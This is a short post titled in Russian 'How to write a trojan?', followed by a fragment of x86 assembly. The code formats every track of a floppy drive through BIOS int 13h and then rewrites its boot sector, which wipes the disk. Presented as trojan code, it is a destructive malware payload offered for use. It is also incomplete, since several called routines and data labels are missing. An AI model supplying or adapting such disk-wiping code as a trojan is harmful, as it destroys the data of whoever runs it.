Как написать трояна ?

mov ch,0
m1: mov ah,5
mov al,gnTrackSect
mov dh,0
mov dl,0
mov bx,offset fmtbl
call create_tbl
int 13h
mov dh,1
call create_tbl
int 13h
push ax
mov al,100
mul ch
div maxtrack
call progress
pop ax
inc ch
cmp ch,maxtrack
jnz m1
xor ax,ax
mov al,gnTrackSect
mul maxtrack
shl ax,1
mov bx,offset bootsect
mov [bx+13h],ax
xor ax,ax
mov al,gnTrackSect
mov [bx+18h],ax
mov di,offset bootsect
xor dx,dx
call WriteSect